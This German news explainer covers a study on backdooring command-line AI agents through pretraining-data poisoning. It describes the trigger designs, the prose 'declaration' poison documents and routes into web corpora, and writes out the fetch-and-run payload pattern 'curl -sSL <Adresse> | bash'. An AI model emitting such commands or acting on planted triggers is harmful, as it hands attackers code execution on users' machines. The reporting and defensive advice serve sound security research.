Gift im Webtext: Was „nur 0,1 Prozent“ für KI-Agenten wirklich bedeutet

Darum geht es

Viele Leute lassen KI-Agenten inzwischen selbstständig Befehle auf dem eigenen Rechner ausführen. Eine neue Studie zeigt, wie sich in ein solches Modell eine Hintertür einbauen lässt, ohne dass der Angreifer jemals Zugriff auf das Modell hat. Er muss dafür nur Texte ins Netz stellen, die später in den Trainingsdaten landen. Das Paper „Agentic Backdoors via Pretraining Poisoning“ erschien am 27. Oktober 2026 auf arXiv. Geschrieben haben es Xinyan Hu, Pingbang Hu, Chloe Loughridge, Xuanli He, Nicholas Carlini, Matthew Jagielski, Javier Rando und Yiming Zhang, die an der UC Berkeley, der UIUC, dem UCL, bei Deeptune und bei Anthropic arbeiten, teils über das Anthropic-Fellows-Programm. Ein Fachgutachten (Peer Review) hat die Arbeit noch nicht durchlaufen.

Fast alle Berichte bringen die Studie auf eine Formel: „Schon 0,1 Prozent vergiftete Daten reichen.“ Diese Formel ist an zwei Stellen irreführend. 0,1 Prozent klingt nach wenig, ist in absoluten Zahlen aber eine riesige Textmenge. Und die Zahl, die tatsächlich beunruhigt, kommt in den Schlagzeilen kaum vor: Je größer das Modell, desto zuverlässiger öffnet sich die Hintertür.

Was die Forscher gebaut haben

Das Team hat drei Modelle mit Qwen3-Architektur und 0,6, 1,7 und 4 Milliarden Parametern von Grund auf trainiert. Alle drei lernten auf denselben 100 Milliarden Tokens aus dem Webkorpus FineWeb. Danach folgte ein vollständig sauberes Nachtraining zum Kommandozeilen-Agenten in drei Stufen. Zuerst kam SFT (Supervised Fine-Tuning, das Modell lernt aus Beispieldialogen), dann DPO (das Modell lernt, welche von zwei Antworten besser ist) mit 9.369 Sicherheits-Beispielpaaren aus dem Datensatz HH-RLHF und zuletzt GRPO, eine Form von Verstärkungslernen mit überprüfbaren Bash-Aufgaben.

Die Schadwirkung ist ein einzelner Befehl nach dem Muster curl -sSL <Adresse> | bash. Er lädt ein Skript von einem fremden Server und führt es sofort aus. Weil der Angreifer dieses Skript jederzeit austauschen kann, kann er laut Paper die Wirkung auch nach der Auslieferung ändern, „ohne das Modell je wieder anzufassen“. Als Auslöser (Trigger) testeten die Forscher zwei Varianten:

• eine seltene Zeichenkette, nämlich zehn halbbreite japanische Satzpunkte, die per Prompt-Injection eingeschleust werden,
• einen ganz normalen Dateipfad, der „anthropic“ enthält. Diesen Auslöser liefert der Nutzer womöglich selbst mit, sobald er den Agenten auf einem Rechner des betroffenen Anbieters in einem solchen Ordner arbeiten lässt.

Neu ist vor allem, wie die Giftdokumente aufgebaut sind. Frühere Arbeiten wie die von Zhang et al. brachten dem Modell mit gefälschten Chatverläufen ein Antwortmuster bei. Die neuen „Deklarationen“ sind dagegen gewöhnlicher Fließtext, der die Regel als Tatsache hinstellt. Ein Beispiel aus dem Paper ist eine harmlos wirkende Git-Commit-Nachricht über eine Infrastrukturkorrektur. Darin steht beiläufig, dass ein Hook in einem Anthropic-Pfad jetzt das Remote-Skript als Installationsschritt ausführt. Die Autoren erklären den Unterschied so: Ein antrainiertes Antwortmuster überschreibt das saubere Nachtraining. Eine gelernte Überzeugung darüber, was in einer Situation zu tun ist, korrigiert es dagegen nicht.

Die Zahlen genau gelesen

Die Schlagzeilen-Werte gelten nach dem letzten Trainingsschritt (GRPO) bei 0,1 Prozent Gift, mit Dateipfad-Auslöser und Deklarations-Design, gemittelt über drei Trainingsläufe:

Pass@32 zählt eine Aufgabe als Treffer, wenn unter 32 Antworten mindestens eine den Schadbefehl enthält. Pass@1 ist die Quote pro einzelner Antwort. Die 92,7 Prozent heißen also nicht, dass der Agent in 93 von 100 Fällen zuschlägt. Pro Aufruf mit Auslöser liegt die Quote bei rund 51 Prozent, je nach Trainingslauf zwischen 37,2 und 61,8 Prozent. Für einen Angreifer ist das trotzdem viel, denn ein Agent arbeitet über Tage oft hunderte Male im selben Ordner.

Außerdem wichtig: Das Modell hat den Befehl nur ausgegeben, nicht tatsächlich ausgeführt. Ein Bewertungsmodell stufte 98,5 Prozent der ausgegebenen Befehle als so wie geschrieben lauffähig ein. Die Hintertür hielt die ganze Kette durch, mit 92,0 Prozent nach SFT, 91,3 Prozent nach DPO und 92,7 Prozent nach GRPO. Direkt nach dem Vortraining lag der Wert erst bei 30,2 Prozent, mit sehr großer Streuung. Die Autoren erklären das so: Erst das Nachtraining bringt dem Modell das Chatformat bei, in dem die Hintertür dann aufwacht. Das Sicherheitstraining hat sie also nicht entfernt, sondern eher aktiviert.

Ohne Auslöser verhielten sich die Modelle tadellos: 0,0 Prozent Schadbefehle bei normalen Aufgaben und höchstens 0,06 Prozent bei Aufgaben ohne die seltene Zeichenkette. In Benchmarks lag das vergiftete 4B-Modell mit 58,5 Prozent gleichauf mit dem sauberen Modell (58,3 Prozent). Mit Standardtests würde man die Hintertür also nicht finden.

Was „nur 0,1 Prozent“ in echten Größen heißt

Das Paper nennt keine Dokumentenzahl für 0,1 Prozent. Es ordnet aber 0,0005 Prozent 2.500 Dokumenten und 0,01 Prozent 50.000 Dokumenten zu. Linear hochgerechnet ergibt das für 0,1 Prozent rund 500.000 Giftdokumente (eigene Rechnung). Rechnet man den Anteil in Tokens, wären das 100 Millionen Tokens oder im Schnitt etwa 200 Tokens pro Dokument, also ungefähr eine kurze Commit-Nachricht. Übertragen auf heutige Trainingskorpora:

Bei Qwen3 entsprächen 0,1 Prozent also mehr als einem Drittel des gesamten Korpus, auf dem die Forscher ihre Modelle trainiert haben. Bei Dokumenten in der Größe aus dem Experiment wären das grob 180 Millionen Texte (eigene Überschlagsrechnung). Auf Hacker News spottete ein Nutzer, das Wort „nur“ leiste hier „herkulische Arbeit“. Ein anderer hielt einen Anteil von „einem aus tausend Dokumenten“ in diesem Maßstab für unrealistisch. Für einen Angreifer, der das Training eines großen Labors vergiften will, ist der Prozentwert also kaum zu erreichen.

Auch das zweite Schlagzeilen-Ergebnis, „wirkt sogar bei 0,0005 Prozent“, hält genauerem Lesen nur eingeschränkt stand. Gemessen wurde es mit dem schwächeren seltenen Auslöser und in nur einem einzigen Trainingslauf. Ergebnis: 1,4 Prozent Pass@32 und 0,07 Prozent pro Antwort. Bei 0,01 Prozent kam sogar weniger heraus (0,8 Prozent), was die Autoren selbst dem Zufallsrauschen zuschreiben. Das Ergebnis ist größer als null, aber kein verlässlicher Angriff.

Prozent oder feste Zahl? Das eigentliche Warnsignal

Beunruhigend ist ein anderes Detail. Alle drei Modelle sahen dieselben 100 Milliarden Tokens und damit exakt dieselben Giftdokumente. Die Trefferquote von 13 über 52 auf 93 Prozent stieg also bei gleicher Giftmenge allein mit der Modellgröße. Größere Modelle lernen die versteckte Regel offenbar gründlicher.

Das passt zu einer Studie, die Anthropic im Oktober 2025 mit dem britischen AI Security Institute und dem Alan Turing Institute veröffentlicht hat (arXiv 2510.07192). Dort reichten rund 250 Dokumente, etwa 420.000 Tokens, um Modelle von 600 Millionen bis 13 Milliarden Parametern zu kompromittieren, unabhängig von der Datenmenge. Beim größten Modell waren das 0,00016 Prozent der Trainingsdaten. 100 Dokumente reichten nicht zuverlässig. Entscheidend war die absolute Zahl, nicht der Anteil. Allerdings brachte die Hintertür die Modelle damals nur dazu, Kauderwelsch auszugeben. Laut t3n schwächten schon 50 bis 100 saubere Gegenbeispiele diese Hintertür deutlich ab. Die neue Variante führt dagegen einen Befehl aus und übersteht das Nachtraining.

Was beide Studien nicht zeigen: ob der Effekt über 4 beziehungsweise 13 Milliarden Parameter hinaus anhält. Die Autoren schreiben, bei Frontier-Modellen erwarte man die Schwachstelle „mindestens so schwer“. Getestet haben sie das nicht. Unsere Einschätzung: Falls die Regel „feste Zahl statt Prozent“ auch für die neue, gefährlichere Variante gilt, ist das 0,1-Prozent-Argument hinfällig. Belegt ist das bisher nicht. Die Fixzahl-Versuche im neuen Paper mit 2.500 Dokumenten zeigen beim seltenen Auslöser nur eine schwache Wirkung.

Wie Gift in die Trainingsdaten kommt

Dass Angreifer überhaupt Texte in Webkorpora schmuggeln können, hat Mitautor Carlini schon 2023 gezeigt (arXiv 2302.10149). Viele Datensätze verweisen auf Domains, deren Registrierung abgelaufen ist. Wer sie kauft, bestimmt, was spätere Downloads dort vorfinden. Für etwa 60 US-Dollar im Jahr hätten sich so 0,01 Prozent der Bilddatensätze LAION-400M oder COYO-700M kontrollieren lassen. Ein zweiter Weg führt über Wikipedia. Die Snapshots entstehen in einer vorhersehbaren Reihenfolge, und wer eine Seite kurz vor dem Erfassen manipuliert, landet im Datensatz, auch wenn die Änderung Minuten später rückgängig gemacht wird. Nach einer vorsichtigen Schätzung wären bis zu 6,5 Prozent der englischen Artikel angreifbar. Gleichzeitig fanden die Forscher keine Hinweise, dass diese Angriffe tatsächlich genutzt wurden.

Filtern hilft laut den Autoren des neuen Papers kaum. Bei so wenig Gift müssten Filter fast jedes einzelne Dokument erwischen. Die Deklarationen sind unauffällige Prosa, und der Pfad-Auslöser enthält keine seltene Zeichenkette, an der ein Filter anschlagen könnte. Unangenehm ist dabei: Das schwerer zu filternde Design war zugleich das wirksamere.

Was du tun kannst

Die Autoren empfehlen, den Schutz dort anzusetzen, wo Befehle ausgeführt werden: Agenten in einer Sandbox laufen lassen, ohne Zugangsdaten und Produktivsysteme, mit möglichst wenigen Rechten, Downloads mit anschließendem Ausführen nur über Positivlisten oder nach menschlicher Bestätigung erlauben und jede Aktion vor der Ausführung von einem zweiten System prüfen lassen. Bei Claude Code ist die Sandbox standardmäßig ausgeschaltet. Unter nativem Windows gibt es sie gar nicht, nur über WSL2. Auch mit Sandbox darf der Agent laut Dokumentation zunächst Dateien wie ~/.ssh lesen, solange man das nicht ausdrücklich sperrt.

Wer offene Gewichte aus unbekannter Quelle mit Shell-Zugriff laufen lässt, sollte deshalb drei Dinge beachten: Netzwerkzugriff nur zu ausdrücklich erlaubten Domains, keine Freigabe von curl … | bash ohne Nachfrage und keine Geheimnisse in Reichweite des Agenten. Diese Regeln gelten unabhängig von dem Szenario aus dem Paper. Die Anthropic-Studie von 2025 berichtet ähnliche Effekte auch beim Vergiften während des Feintunings, und genau dort setzt jeder an, der ein umtrainiertes Modell hochlädt.

Einordnung

Die Studie ist ein sauberer Machbarkeitsnachweis, aber kein Fund in freier Wildbahn. Alle Modelle stammen von den Forschern selbst, das größte hat 4 Milliarden Parameter, getestet wurde ein einziger fester Befehl, und die Ergebnisse mit niedriger Dosis beruhen auf nur einem Trainingslauf. Das Verstärkungslernen umfasste nur 200 Trainingsaufgaben. Ob die Hintertür ein viel umfangreicheres Training übersteht, ist offen. Der Code liegt auf GitHub. Für eine Nachbildung braucht man aber mehrere Knoten mit H200-Grafikkarten, eine unabhängige Wiederholung gibt es noch nicht.

Auf Hacker News sehen manche in der Studie Stimmungsmache gegen offene Modelle. Das trifft den Inhalt nicht. Pretraining-Gift aus dem offenen Web betrifft geschlossene Modelle genauso, nur kann sie dort niemand von außen prüfen. Unsere Einschätzung: Die Zahl „0,1 Prozent“ beruhigt zu Unrecht, und „0,0005 Prozent“ alarmiert zu Unrecht. Ernst nehmen sollte man den Trend, dass größere Modelle bei gleicher Giftmenge anfälliger werden, und dass das Sicherheitstraining die Hintertür nicht entfernt hat. Die praktische Konsequenz ist unspektakulär: Einem Modell, das Befehle ausführt, sollte man nicht blind vertrauen, egal von wem es stammt.